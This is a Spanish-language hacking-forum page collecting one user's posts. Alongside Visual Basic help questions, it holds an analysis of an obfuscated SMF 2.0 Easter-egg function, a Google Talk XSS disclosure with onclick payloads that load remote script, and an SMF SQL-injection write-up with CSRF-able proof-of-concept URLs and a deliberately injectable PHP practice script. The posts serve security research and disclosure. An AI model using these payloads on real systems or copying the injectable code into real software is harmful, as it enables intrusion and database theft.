Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - WHK

#316
Esta es una tabla que hizo sirdarckcat en múltiples formatos y extensiones para que pueda ayudarlos en algún caso.

http://www.elhacker.net/ascii.php

Ejemplo:

0x0A 10
Oct: 012
Bin: 1010 x
Esc: \012 \x0a \u000A \n
Url: %0A %u000A %C0%8A
Html: 
 



Esta es la versión GIF


El sistema siempre estará disponible por si alguien lo necesita.
#317
Nivel Web / Backdoor nativo en SMF 2.0
27 Octubre 2009, 08:03 AM
Estabamos revisando el code de SMF 2.0 con sirdarckcat con el propósito de la auditoría hacia SMF:
http://foro.elhacker.net/nivel_web/auditoria_de_seguridad_hacia_simple_machines_forum_20-t271199.0.html

Y pude encontrar un código bien extraño en el archivo Sources/Who.php linea 660 en adelante, ahi se pueden ver una serie de lineas muy encodeadas y ocultas:

Código (php) [Seleccionar]
function Mascot()
{
global $sourcedir;

// Some important quotes.
$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
);

mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});

$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));

if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
}


Esto es masomenos lo que puedes ver cuando reemplazas variables y ordenas un poco mas el código:

Código (php) [Seleccionar]
function Mascot()
{
global $sourcedir;

// Some important quotes.
$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
);

mt_srand(1104307200);
   $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo = array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));
   /* Array con una dimensión de 6 variables numéricas
   Array ( [0] => 6 [1] => 2 [2] => 9 [3] => 6 [4] => 10 [5] => 9 )
   
   For con 6 loops, uno para cada variable del array  */
   for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){
    $O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12));
    //echo '$'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = chr(ord($'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'{$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'}) - mt_rand(0,12));<br />';
    $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]);
    //echo '$'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = chr(ord($'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.']) - $'.$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.']);<br /><br />';
   }
   /* Desarrollo:
   $Array[$0] = chr(ord($ywky~{{$0}) - mt_rand(0,12));
   $swky~{[$0] = chr(ord($swky~{[$0]) - $Array[$0]);

   $Array[$1] = chr(ord($swky~{{$1}) - mt_rand(0,12));
   $suky~{[$1] = chr(ord($suky~{[$1]) - $Array[$1]);

   $Array[$2] = chr(ord($suky~{{$2}) - mt_rand(0,12));
   $suby~{[$2] = chr(ord($suby~{[$2]) - $Array[$2]);

   $Array[$3] = chr(ord($suby~{{$3}) - mt_rand(0,12));
   $subs~{[$3] = chr(ord($subs~{[$3]) - $Array[$3]);

   $Array[$4] = chr(ord($subs~{{$4}) - mt_rand(0,12));
   $subst{[$4] = chr(ord($subst{[$4]) - $Array[$4]);

   $Array[$5] = chr(ord($subst{{$5}) - mt_rand(0,12));
   $substr[$5] = chr(ord($substr[$5]) - $Array[$5]);
   
   Resultado:
   // Array con una dimensión de 6 valores alfanuméricos
   // Array ( [0] => t [1] => t [2] => ` [3] => x [4] => y [5] => o )
   // Resuelto a partir del primer array con citas de personajes */
   $OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O = array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
   /* Eval para despistar mas un retorno de valor igual a '32' para completar la ecuación aritmética
   Array con una dimensión de 6 valores alfanuméricos
   Array ( [0] => 37 [1] => 3 [2] => 22 [3] => 33 [4] => 35 [5] => 73 ) */
$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644';
   /* Constante numérica al igual que el valor '1' en el eval anterior */
   foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q){
    $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
    //echo '$'.$Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = $'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'($'.$q.',$'.$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'],$'.$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo.'{$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'})<br />';
   }
   /*
    Procesa la leyenda de arriba sustrayendo carácteres posicionados en cada variable de la
    dimensión del array anterior:
    $Array[$0] = $substr($Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men. ~Lord Acton,$Array[$0],$335644{$0})
    $Array[$1] = $substr($My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily. ~David Hasselhoff,$Array[$1],$335644{$1})
    $Array[$2] = $substr($Buy old masters. They fetch a better price than old mistresses. ~William Maxwell Aitken,$Array[$2],$335644{$2})
    $Array[$3] = $substr($Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won't once it's decoded. ~Laurie Anderson,$Array[$3],$335644{$3})
    $Array[$4] = $substr($I don't see the logic of rejecting data just because they seem incredible. ~Fred Hoyle,$Array[$4],$335644{$4})
    $Array[$5] = $substr($Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy. ~Aristotle,$Array[$5],$335644{$5})
   
    Resultado:
    un array con una dimensión de 6 variables:
    Array ( [0] => pow [1] => web [2] => fetch [3] => decode [4] => data [5] => base )
   */
   // print_r($Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO);
$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3];
   /* Devuelve el string 'base64_decode' desde dos strings diferentes concatenado por un '_' que es la palabra 'base64' y 'decode' */
   $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
   /* Devuelve el string 'fetch_web_data' */
require_once($sourcedir . '/Subs-Package.php');
   /* Incluye el subs con la función fetch_web_data para poder obtener el contenido externo */
   $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
   //echo '$OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $'.$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo.'($'.$O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O.'($'.$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo.'(\'aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==\')));';
   /* Resolución:
   $str = $base64_decode($fetch_web_data($base64_decode('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
   Hace la petición a http://www.simplemachines.org/smf/latest-laugh.js y obtiene su contenido */
if (1/M_PI_2 == M_2_PI){
   /* Verificación redundante:
   1/1.5707963267949 == 0.63661977236758
   
   Termina el script mostrando únicamente el contenido obtenido sin procesar el resto del script del foro
   */
    die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
   }
}


La sorpresa no eran las variables raras sino el contenido.

Me da un poco de gracia tanto código y ofusación de código que intentaron hacer porque no se necesitan mas de dos dedos de frente para saber que el string "aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==" es base64 y al descifrarlo está el enlace hacia el control de simplemachines:
http://www.simplemachines.org/smf/latest-laugh.js
y nuevamente si lo procesamos en base64 encontramos el string completo que se nos ve en nuestra web visualizandolo desde index.php?action=mascot
No se necesita ser matematico ni si quiera entender el código para saber que hay, de hecho si le pones un echo a cada variable encuentras el código igual  :rolleyes:

En fin,  si desciframos eso en base64 podemos ver esto:

Código (html4strict) [Seleccionar]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>My name is Earl</title>
</head>
<body>
<h1>Watch out!  He's a killer!</h1>
<img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
</body>
</html>




:xD que cosas jajaja

La voz de la experiencia: http://www.simplemachines.org/community/index.php?topic=198912.msg1265079#msg1265079
#318


Proyecto SimpleAudit 2.0

Es un proyecto destinado a realizar auditorías de seguridad a nivel WEB hacia el software de SMF 2.0 (Simple Machines Forum) con la finalidad de que sus desarrolladores puedan crear cada dia un software mas robusto y seguro.




Integrantes - (participando en el proyecto)

Colaboradores (forman parte del proyecto pero necesitaran encontrar algo antes de tener acceso al resto de los reportes):




Vulnerabilidades encontradas
45
(40 reportadas + 0 notificadas + 5 privadas)
Último disclosure: 1 de diciembre
Próximo disclosure: 1 de enero

Backdoors encontrados
1





Todos los resultados se irán mostrando en este lugar con todos sus detalles.

Si tienes algún comentario, pregunta, aporte o lo que necesites compartir puedes hacerlo en este post:
http://foro.elhacker.net/nivel_web/proyecto_de_auditoria_a_smf_20_laboratorio_de_bugsnivel_web-t271095.0.html

Si hay algúna vulnerabilidad o bug que no aparece en este lugar es porque todavía se mantiene en privado hasta cumplirse el plazo estimado para su posible reparación o publicación futura.




Puedes seguir la auditoría en Twitter:
http://twitter.com/simpleaudit

Además en FeedBurner:
Código (html4strict) [Seleccionar]
<a href="http://twitter.com/simpleaudit">
http://feeds.feedburner.com/Twitter/Simpleaudit.gif
</a>




Meneame:
http://meneame.net/story/localizaron-mas-40-bugs-auditoria-smf-2.0
#319
Nivel Web / XSS en Google Talk 1.0.0.105
18 Octubre 2009, 01:54 AM
Bueno, comenzé a probar en una virtual de gtalk a gtalk y me encontré con dos xss.
Por ejemplo cuando uno escribe un enlace http://<h1>test se ejecuta inmediatamente ya que el enío del string dentro de un href no se filtra y eso significa que un xss puede alojarse en el nombre de la url y el otro en la url misma como código html.

Cuando escribimos http://<h1>test en realidad se imprime esto: <a href='http://<h1>test'>http://<h1>test</a> y como se utilizan comillas simples para los tags de html podemos escapar con http://'onclick='alert(/lol/)'x=' y quedará masomenos así:
<a href='http://'onclick='alert(/lol/)'x=''>http://'onclick='alert(/lol/)'x='</a>

xDD y el resultado es algo asi como esto:



Conversando con SirDarckCat estubimos casi toda la noche jugando con el google talk cambiandole el fondo por una imagen de doom3, paisajes, coloreando los bordes, letras hasta que a el se le ocurrió inyectar el firebug y saber un poco mas del código fuente ya que en realidad no habia archivo temporal porque utilizaba un iframe de internet explorer 6 con la dirección about:blank haciendo document.write



A los que quiean inyectar el firebug pueden escribir estas dos lineas:
Citarhttp://'onclick='document.body.appendChild(document.createElement("script")).src="http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js"'x=';
hacerle click y luego
Citarhttp://'onclick='alert(firebug.init())'x='
y al hacerle click llamarán a firebug  :P

Está entetenido.
Para los que quieran descompilar el ejecutable del gtalk está cifrado en molebox 2.5.7 .
#320
Hola, resulta que el orden de las cajas de texto en un proyecto que estoy haciendo no están en orden alfabética ni por orden de creación por lo tanto cuando presiono tab en un textbox me manda a otro textbox de mas arriba, por lo tanto como no están en orden quería capturar la tecla tab en cada caja de texto para hacer setfocus al textbox siguiente pero el problema es que no me lo captura  :P

Código (vb) [Seleccionar]
Private Sub Text4_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
  Text5.SetFocus
End If
End Sub


Lo hize con el botón enter que es el 13 pero intenté ponerle msgbox keyascii para ver cual es el valor de la tecla tab y no me lo captura  :-\ .
Como puedo capturar el tabulador y hacerle setfocus al textbox siguiente?
#321
Hola, tengo una variante que es la que procesará todos los strings que hayan en el pero a su ves tengo hartas variantes que debo procesar de la misma forma por lo tanto quería saber como unir todas las variantes en una sola para despues procesarlas de una sola ves.

Gracias.
#322
Hola les dejo un nuevo diccionario que hize para los que no conocen mucho del tema o se les escapen algunos terminos:
http://foro.elhacker.net/nivel_web/diccionario_informatico_sobre_bugs_y_exploits_en_nivel_web_v10-t264007.0.html

Cualquier duda, pregunta, consulta, asportes, demandas pueden hacerlas acá.
#323
Hola, estoy haciendo un programa que guarda imagenes a un directorio, este directorio tiene un grupo de imagenes en directorios ordenados de forma numérica, por ejemplo:
imagenes/grupo1
imagenes/grupo2
imagenes/grupo3
imagenes/grupo4
etc..

el problema es que como puedo saber cual directorio corresponde después del último creado sabiendo que alguien puede modificar el nombre de algún directorio por x motivo imposibilitando utilizar las propiedades nativas de creación del directorio y evitando que el directorio 10 quede primero que el 1 y sabiendo que pueden haber directorios eliminados por lo tanto puede haber directorio 2, directorio 5, etc.

Como podría hacerlo?

Ya obtube todos los directorios de la ruta con una función que hize:

Archivos.bas
Código (vb) [Seleccionar]
Public Function Obtener_Directorios(Ruta As String) As Variant
Dim Directorio As String
On Error Resume Next
Directorio = Dir(Ruta, vbDirectory)
While Directorio <> ""
 Directorio = Dir
 If Is_Dir(Ruta & Directorio) Then
  Obtener_Directorios = Obtener_Directorios & Directorio & ","
 End If
Wend
Obtener_Directorios = Split(Obtener_Directorios, ",")
End Function


Pero ahora no se como ordenarlos de forma alfabetica y numérica  :P
#324
Hola, estaba haciendo una función para poder descargar controles de forma automatizada pero al parecer no me resultó muy bien:

Supongamos que tengo el control text(index) y le hize load por cada item que necesitaba cargar y no precisamente en un orden numérico por lo tanto cuando quiera descargarlos despues no podría utilizar for id = 0 to text.count - 1 sino que tendría que utilizar un for each control in text pero lo hago en varios controles asi que me puse a hacer esta función:

Código (vb) [Seleccionar]
Public Function Descarga_controles(Controles As Controls) As Boolean
Dim Control_item As Control
' Comrpueba que hay mas de un control o sea por lo menos uno cargado
If Controles.Count > 1 Then
 ' Cuenta cada control cargado
 For Each Control_item In Controles
  ' Omite el control padre porque no puede ser eliminado
  If Control_item.Index > 0 Then
   Call Unload(Control_item)
  End If
 Next Control_item
 Descarga_controles = True
Else
 ' No se descargaron los controles ya que no se encontró ninguno
 Descarga_controles = False
End If
End Function


después lo pasé por:
Código (vb) [Seleccionar]
Call Descarga_controles(Check_visual) ' test
MsgBox Check_visual.Count
'If Check_visual.Count > 1 Then
' For Cuenta = 1 To Check_visual.Count - 1
'  Unload Check_visual(Cuenta)
' Next Cuenta
'End If


para poder testear y me lanzó error porque e grupo de controles checkbox no era de tipo controls.
Supuse que controls se referiría a controles varios indexados pero me equiboqué, tampoco puedo decirle controles as checkbox porque tambien necesito procesar textbox e image, etc y no es uno sino varios.

Como podría hacerlo en este caso?
#325
Hola, tengo un array de datos que varía por lo tanto lo hize variante.
Mas abajo en el código hize un loop para obtener cada variante y procesar los datos pero cuando la variante está vacia marcaría error por lo tanto le puse el siguiente código para verificar si realmente hay variante o no antes de procesar:

Código (vb) [Seleccionar]
If UBound(Imagenes) = 0 Then
  Estado_1.Caption = "No se han localizado imagenes"
  Exit Function
End If


Pero resulta que UBound solo procesa variantes o arrays existentes, por eso me da error cuando esta vacio, por o tanto esa verificación no me sirve.

Como lo puedo hacer?

Y aprovechando el mismo tema... como puedo saber si un control está cargado? por ejemplo image(6).picture como index de 6 sin tener que hacer un for each en cada verificación.

Supongo que habrá alguna función o algo que verifique si alguno de esos dos casos existe, en casoc ontrario tendría que hacer una funcion con un foreach y comenzar a verificar el index contra el valor del index a comprobar  :-\
#326
Hola, estaba utilizando el control webbroser para crear una presentación de imagenes redimensionadas pero el borde del control me descompone el resto del diseño del programa.
Como puedo darle otro borde? color o simplemente sacarlo?
#327
Bueno,... encontré varias inyecciones SQL en SMF (Simple Machines Forum) en todas las versiones de SMF actuales (1.1.10 y 2.0 rc1.2) y versiones anteriores.

Antiguamente me la pasaba posteando bugs de este sistema WEB y les avisaba con anterioridad a los autores pero ni una sola ves me hicieron caso, tales como:
http://foro.elhacker.net/nivel_web/bug_en_smf_118_y_119-t255613.0.html
y otros mas por ahi xD

Por lo tanto esta ves no avisé ni avisaré tampoco, si quieren reparar el bug que vengan, lean, usen un traductor no se.

Estas fallas de seguridad ya están parchadas en este foro y en el mio xD pero les mostraré también como parcharlo.

Ínyección SQL remota I
Como dicen, el problema está entre el asiento y el teclado, basta con dar un vistazo al archivo Sources/ManageMembers.php linea 405 y 453:
Código (php) [Seleccionar]
// If the query information was already packed in the URL, decode it.
// !!! Change this.
elseif ($context['sub_action'] == 'query')
$where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));

Código (php) [Seleccionar]
// Calculate the number of results.
if (empty($where) or $where == '1')
$num_members = $modSettings['totalMembers'];
else{
$request = db_query("
SELECT COUNT(*)
FROM {$db_prefix}members
WHERE $where", __FILE__, __LINE__);
list ($num_members) = mysql_fetch_row($request);
mysql_free_result($request);
}


Como me decía sdc este es el típico caso de "a mi me da flojera arreglarlo, que lo haga otro" ya que la falla es evidente e incluso está marcado por los propios programadores que debe ser cambiado, por lo tanto en alguna ocación supieron de este problema pero nunca lo terminaron de codear.

PoC:
Si vamos a la sección
http://127.0.0.1/smf/index.php?action=permissions
veremos varios grupos de usuarios y al costado derecho la cantidad de usuarios por cada grupo, ahora... ese enlace es un tanto espacial (especial) ya que si le damos click al primero tal como se ve en la imagen:


Veremos un enlace que nos lleva acá:
http://127.0.0.1/smf/index.php?action=viewmembers;sa=query;params=SURfR1JPVVAgPSAw

Si analizamos el enlace podemos darnos cuenta de dos grandes detalles, el primero es que no nos solicita el token de seguridad "SC" por lo tanto esta url puede ejecutarse de forma arbitraria con tan solo redireccionar al que tenga acceso a esta sección para que se le ejecute y el segundo detalle es el valor de la variable "params", lo desciframos en base 64 y nos revela esto:

CitarID_GROUP = 0

Por lo tanto esa variable pasa a ser escrita directamente en la query MySQL sin token ni nada.

Si escribimos una comilla simple, lo ciframos en base64 y se lo ponemos en la url podremos ver esto:
http://127.0.0.1/smf/index.php?action=viewmembers;sa=query;params=Jw==


Esto ocurre porque SMF filtra cada petición POST y GET agregando slashses y cuanta cosa pero en este caso la petición va encapsulada en un cifrado de base64 asi que ese filtro se evade.
Este sistema que ellos implementan es seguro para la gente que hace mods ya que los filtros pasan por defecto en las peticiones pero el problema esque si encuentras un hueco como este puedes causarle un daño mayor al mismo sistema, no hacen querys seguras sino filtros seguros para proteger a los modulos pero para mi no me gusta, yo soy de la idea de crear códigos seguros y peticiones libres aunque como este es un sistema público creo que no quedaba otra ya que nunca se sabe como codean los terceros.

Por o tanto si queremos practicar para ver las posibilidades de una inyección + csrf para ver las posibilidades de actualizar perfiles, dumpear bases de datos, etc podemos practicar acá:
Código (php) [Seleccionar]
<?php

$inyeccion 
$_GET['inyeccion'];

/* BUG */
$handle mysql_connect('localhost''root''123456');
mysql_select_db('smf'$handle);
$request mysql_query("SELECT COUNT(*) FROM smf_members WHERE $inyeccion");
/* BUG */

if(!$request){
 echo 
'Error ('.mysql_errno($handle).'): '.mysql_error($handle);
}else{
 while(
$fila mysql_fetch_array($requestMYSQL_ASSOC)){
  
$retorno[] = $fila;
 }
 
mysql_free_result($request);
 
print_r($retorno);
}

mysql_close($handle);
?>


Se usa así: test.php?inyeccion= mi inyección acá
Y cuando tu inyección funcione bién podrás hacer el exploit (que aun no existe porque se supone que nadie mas lo conoce xD).

Ínyección SQL remota 2
Si buscamos patrones dentro del código fuente de SMF podemos darnos cuenta que esto se repite en tres partes mas que son:

Sources/ModLog.php linea 87
Sources/PersonalMessage.php linea 613 y 700
Sources/Search.php linea 81 y 311

sirdarckcat tenía razó cuando me dijo que probablemente estas otras secciones también podrían tener problemas de inyección SQL ya que me puse a testear los códigos y justamente si eran vulnerables.

La falla está en la sección de logs de moderación:
Sources/ModLog.php linea 84 al 92:
Código (php) [Seleccionar]
// If we're coming from a search, get the variables.
if (isset($_REQUEST['params'])){
$search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
$search_params = @unserialize($search_params);

// To be sure, let's slash all the elements.
foreach ($search_params as $key => $value)
$search_params[$key] = addslashes($value);
}


El mismo archivo en la linea 169:
Código (php) [Seleccionar]
// Count the amount of entries in total for pagination.
$result = db_query("
SELECT COUNT(*)
FROM {$db_prefix}log_actions AS lm
